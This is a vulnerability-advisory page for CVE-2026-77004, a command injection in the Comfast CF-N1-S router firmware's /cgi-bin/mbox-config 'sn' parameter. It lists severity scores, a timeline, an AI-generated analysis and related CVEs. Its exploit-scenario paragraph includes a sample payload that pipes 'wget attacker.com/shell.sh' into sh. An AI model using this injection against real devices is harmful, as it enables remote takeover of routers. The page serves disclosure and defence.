Skip to main content

Comfast CF-N1-S CVE-2026-77004

| EUVDEUVD-2026-63479 LOW
Command Injection (CWE-77)
2026-08-20 VulDB GHSA-m27q-v5c6-r932
Command Injection Cf N1 S
2.1
CVSS 4.0 · Vendor: VulDB

Severity by source

Vendor (VulDB) PRIMARY
2.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
9.9 CRITICAL

OS command injection yields full device control (S:C, C/I/A:H); PR:L reflects the authenticated access requirement confirmed by the CVSS 4.0 vector.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L

Primary rating from Vendor (VulDB).

CVSS VectorVendor: VulDB

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
X

Lifecycle Timeline

4
Analysis Generated
Aug 20, 2026 - 16:31 vuln.today
Severity Changed
Aug 20, 2026 - 16:22 NVD
MEDIUM LOW
CVSS changed
Aug 20, 2026 - 16:22 NVD
5.3 (MEDIUM) 2.1 (LOW)
CVE Published
Aug 20, 2026 - 16:00 cve.org
LOW 2.1

DescriptionCVE.org

A flaw has been found in Comfast CF-N1-S 2.6.0.1. This impacts the function sprintf of the file /cgi-bin/mbox-config?method=SET&section=ptest_sn. Executing a manipulation of the argument sn can lead to command injection. The attack can be launched remotely. The exploit has been published and may be used.

AnalysisAI

Command injection in the Comfast CF-N1-S firmware 2.6.0.1 CGI management interface allows remote low-privileged attackers to execute arbitrary OS commands by manipulating the 'sn' parameter in the /cgi-bin/mbox-config endpoint. The root cause is unsafe use of sprintf in the CGI handler that incorporates attacker-controlled input directly into a shell command without sanitization or escaping. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts
Continue with Google Continue with GitHub

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Obtain low-privilege credentials for management interface
Delivery
Authenticate to /cgi-bin/mbox-config endpoint
Exploit
Inject shell metacharacters into 'sn' parameter
Execution
sprintf constructs malicious command string
Impact
Arbitrary OS commands execute on device firmware
Sign in to reveal

Vulnerability AssessmentAI

Exploitation Exploitation requires the attacker to hold low-privilege authenticated access to the Comfast CF-N1-S management interface (confirmed by PR:L in the CVSS 4.0 vector). … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The published CVSS 4.0 score of 2.1 is strikingly inconsistent with the nature of this vulnerability. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker with valid low-privilege credentials to the Comfast CF-N1-S web management interface sends a crafted HTTP GET or POST request to /cgi-bin/mbox-config?method=SET&section=ptest_sn with a malicious 'sn' value containing shell metacharacters - for example, appending a semicolon followed by a command such as 'wget attacker.com/shell.sh|sh'. The sprintf call constructs a command string incorporating this unsanitized input, causing the underlying system() or popen() call to execute the injected command with device OS privileges. …
Remediation No vendor-released patch has been identified at time of analysis - all references point to VulDB disclosures and a researcher-published PDF with no corresponding Comfast firmware update or advisory found. … Detailed patch versions, workarounds, and compensating controls in full report.
Sign in to read full assessment

Threat intelligence, references, and detailed analysis are available after sign-in.

More in Cf N1 S

View all
CVE-2026-77683 HIGH POC
8.6 Aug 21

Remote command injection in Comfast CF-N1-S firmware 2.6.0.1 allows a low-privilege authenticated attacker to execute ar
CVE-2026-78050 HIGH POC
8.6 Aug 22

Stack-based buffer overflow in the Comfast CF-N1-S 2.6.0.1 web management interface enables remote code execution via th
CVE-2026-77148 HIGH POC
8.6 Aug 20

Stack-based buffer overflow in the Comfast CF-N1-S firmware version 2.6.0.1 allows remote attackers with low-privilege w
CVE-2026-77022 HIGH POC
8.6 Aug 20

Stack-based buffer overflow in Comfast CF-N1-S firmware 2.6.0.1 allows authenticated remote attackers to execute arbitra
CVE-2026-76008 CRITICAL
10.0 Aug 19

Remote unauthenticated stack-based buffer overflow in the Comfast CF-N1-S wireless device (firmware 2.6.0.1) lets attack
CVE-2026-19976 LOW POC
2.0 Aug 17

Command injection in COMFAST CF-N1-S firmware 2.6.0.1 allows remote authenticated attackers to execute arbitrary OS comm
CVE-2026-6799 LOW POC
2.1 Apr 21

Command injection in the Comfast CF-N1-S router version 2.6.0.1 allows an authenticated remote attacker to execute arbit

Same weakness CWE-77 – Command Injection

View all
CVE-2024-21887 CRITICAL POC
9.1
CVE-2012-1823 CRITICAL POC
9.8
CVE-2016-1555 CRITICAL POC
9.8
CVE-2024-55956 CRITICAL POC
9.8
CVE-2015-2051 HIGH POC
8.8
CVE-2017-6327 HIGH POC
8.8
CVE-2023-34960 CRITICAL POC
9.8
CVE-2023-37679 CRITICAL POC
9.8

Same technique Command Injection

View all
CVE-2024-21887 CRITICAL POC
9.1
CVE-2019-15107 CRITICAL POC
9.8
CVE-2024-51378 CRITICAL POC
9.8
CVE-2012-1823 CRITICAL POC
9.8
CVE-2016-1555 CRITICAL POC
9.8
CVE-2014-6271 CRITICAL POC
9.8
CVE-2024-55956 CRITICAL POC
9.8
CVE-2018-11138 CRITICAL POC
9.8

Share

CVE-2026-77004 vulnerability details – vuln.today
Back

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy